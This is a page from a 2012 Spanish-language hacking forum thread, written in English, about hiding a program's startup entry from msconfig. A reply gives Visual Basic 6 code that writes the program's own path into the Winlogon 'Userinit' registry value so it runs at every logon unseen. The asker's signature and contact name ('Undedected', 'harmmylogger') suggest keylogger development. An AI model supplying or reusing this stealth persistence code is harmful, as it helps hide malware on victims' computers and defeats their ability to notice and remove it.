elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: ¿Eres nuevo? ¿Tienes dudas acerca del funcionamiento de la comunidad? Lee las Reglas Generales


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  .NET (C#, VB.NET, ASP)
| | | |-+  Programación Visual Basic (Moderadores: LeandroA, seba123neo)
| | | | |-+  Msconfig hide add to startup
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: 1 [2] Ir Abajo Respuesta Imprimir
Autor Tema: Msconfig hide add to startup  (Leído 5,489 veces)
Danyfirex


Desconectado Desconectado

Mensajes: 493


My Dear Mizuho


Ver Perfil
Re: Msconfig hide add to startup
« Respuesta #10 en: 9 Agosto 2012, 15:04 pm »

 the black backgroung is cuz Explorer is not running. so Use the  Userinit key.




Código
  1. Private Declare Function RegOpenKeyEx Lib "advapi32" Alias "RegOpenKeyExA" (ByVal HKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, ByRef phkResult As Long) As Long
  2. Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal HKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
  3. Private Declare Function RegCloseKey Lib "advapi32" (ByVal HKey As Long) As Long
  4.  
  5.  
  6. Private Const HKEY_CURRENT_USER = &H80000001
  7. Private Const HKEY_LOCAL_MACHINE = &H80000002
  8. Private Const KEY_WRITE = &H20006
  9. Private Const REG_SZ = 1
  10.  
  11.  
  12.  
  13. Private Sub Dosyayi_Baslangica_Ekle(ByVal HKey As Long, ByVal MKey As String, ByVal stringKeyVal As String, ByVal subkey As String)
  14. Dim HRKey As Long, StrB As String
  15. Dim retval As Long
  16.    retval = RegOpenKeyEx(HKey, subkey, 0, KEY_WRITE, HRKey)
  17.        If retval <> 0 Then
  18.            Exit Sub
  19.        End If
  20.    StrB = stringKeyVal & vbNullChar
  21.    retval = RegSetValueEx(HRKey, MKey, 0, REG_SZ, ByVal StrB, Len(StrB))
  22.    RegCloseKey HRKey
  23. End Sub
  24.  
  25. Private Sub Command1_Click()
  26.  
  27. Dim sMyPath As String
  28.  
  29. file = "C:\Users\Pink\Desktop\Anotador.exe"
  30. sMyPath = (App.Path & "\" & App.EXEName & ".exe")
  31. Call Dosyayi_Baslangica_Ekle(HKEY_LOCAL_MACHINE, "Userinit", "C:\Windows\system32\userinit.exe," & sMyPath, "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon")
  32.  
  33. End Sub
  34.  

Saludos


En línea

Harmmy

Desconectado Desconectado

Mensajes: 24


Visual Basic And Undedected


Ver Perfil
Re: Msconfig hide add to startup
« Respuesta #11 en: 9 Agosto 2012, 16:03 pm »

Does it work on my project after restarting the computer?


En línea

Msn: harmmylogger@hotmail.com
Visual basic and undedected
Danyfirex


Desconectado Desconectado

Mensajes: 493


My Dear Mizuho


Ver Perfil
Re: Msconfig hide add to startup
« Respuesta #12 en: 9 Agosto 2012, 16:54 pm »

Does it work on my project after restarting the computer?

Yes. work even if you close session.
En línea

Harmmy

Desconectado Desconectado

Mensajes: 24


Visual Basic And Undedected


Ver Perfil
Re: Msconfig hide add to startup
« Respuesta #13 en: 9 Agosto 2012, 17:01 pm »

Will you add msn to ask a few questions : harmmylogger@hotmail.com
En línea

Msn: harmmylogger@hotmail.com
Visual basic and undedected
Danyfirex


Desconectado Desconectado

Mensajes: 493


My Dear Mizuho


Ver Perfil
Re: Msconfig hide add to startup
« Respuesta #14 en: 9 Agosto 2012, 17:17 pm »

The forum is to solve Questions.  :rolleyes:

ask here.
En línea

Páginas: 1 [2] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
poner un programa en el startup de windows con bv 6
Programación Visual Basic
sorcerer 9 4,535 Último mensaje 8 Septiembre 2005, 01:56 am
por Slasher-K
Una 'startup' tras la Bilbao Web Summit
Noticias
KarlosVid(ÊÇ) 0 1,409 Último mensaje 13 Mayo 2011, 18:14 pm
por KarlosVid(ÊÇ)
StartUp Manager
GNU/Linux
VIPbie 5 3,086 Último mensaje 11 Junio 2011, 12:58 pm
por Slava_TZD
No enuenttro startup disc en Acronis 11.0
Software
nachitus 1 1,572 Último mensaje 26 Enero 2012, 02:19 am
por simorg
¿Qué vale más en una startup, la idea o la ejecución?
Noticias
wolfbcn 1 1,873 Último mensaje 9 Julio 2012, 18:54 pm
por m0rf
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines